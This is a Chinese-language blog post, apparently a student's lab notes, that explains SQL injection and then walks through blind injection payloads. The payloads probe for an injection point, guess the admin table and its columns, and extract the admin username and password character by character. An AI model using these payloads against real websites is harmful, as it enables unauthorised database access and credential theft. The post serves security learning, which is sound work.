所謂SQL注入,就是通過把SQL指令插入到Web表單送出或輸入域名或頁面查詢的查詢字元串,最終達到欺騙伺服器執行惡意的SQL指令。
當應用程式使用輸入内容來構造動态sql語句以通路資料庫時,會發生sql注入攻擊。如果代碼使用存儲過程,而這些存儲過程作為包含未篩選的使用者輸入的 字元串來傳遞,也會發生sql注入。
SQL注入可以協助攻擊者登入資料庫執行指令,有些會使賬戶獲得更高的權限對資料庫進行操作。在某些表單中,使用者輸入的内容直接用來構造動态sql指令,或者作為存儲過程的輸入參數,這些表單特别容易受到sql注入的攻擊。而許多網站程式在編寫時,沒有對使用者輸入的合法性進行判斷或者程式中本身的變量處理不當,使應用程式存在安全隐患。
這樣,使用者就可以送出一段資料庫查詢的代碼,根據程式傳回的結果,獲得一些敏感的資訊或者控制整個伺服器,于是sql注入就發生了。
圖檔來自實驗吧cookey老師授課的PPT

在了解SQL注入原理後,我看了cookey老師實驗操作并自己動手來嘗試。
第一步:判斷網站是否存在注入點
在目标站點随便選擇一個連結;
測試連結,在連結末尾添加
- 【’】顯示資料庫出錯
- 【and 1=1】正常顯示頁面
-
【and 1=2】顯示與【’】相同的頁面
由此判斷網站存在注入漏洞;
第二步:猜解表名
在連結末端添加語句【and exists(select*from admin)】,頁面顯示正常說明存在表名【admin】
第三步:猜解列名
在連結末端添加語句【and exists(select admin from admin)】頁面顯示正常則說明存在列名【admin】
用同樣的方法猜測其他列名。在連結末尾添加語句【and exists(select password from admin)】,頁面顯示正常說明存在列名【password】
第四步:猜測字段内容
在連結末尾輸入語句【and (select top 1 len(admin) from admin)>1】,頁面顯示正常,數字依次加1,進行測試,如【and (select top 1 len(admin) from admin >5】,逐一判斷,來确定admin列的長度。
在連結末尾加上語句【and (select top 1 asc(mid(admin,1,1)) from admin)>97 】由此來猜解第一條記錄的第一位字元的ASCll碼為97,對應字母a,【and (select top 1 asc(mid(admin,2,1)) from admin)>100 】,依次可得到admin字段的内容為admin。
用同樣的方法可以推斷password字段的内容。
參考:
https://www.cnblogs.com/sdya/p/4568548.html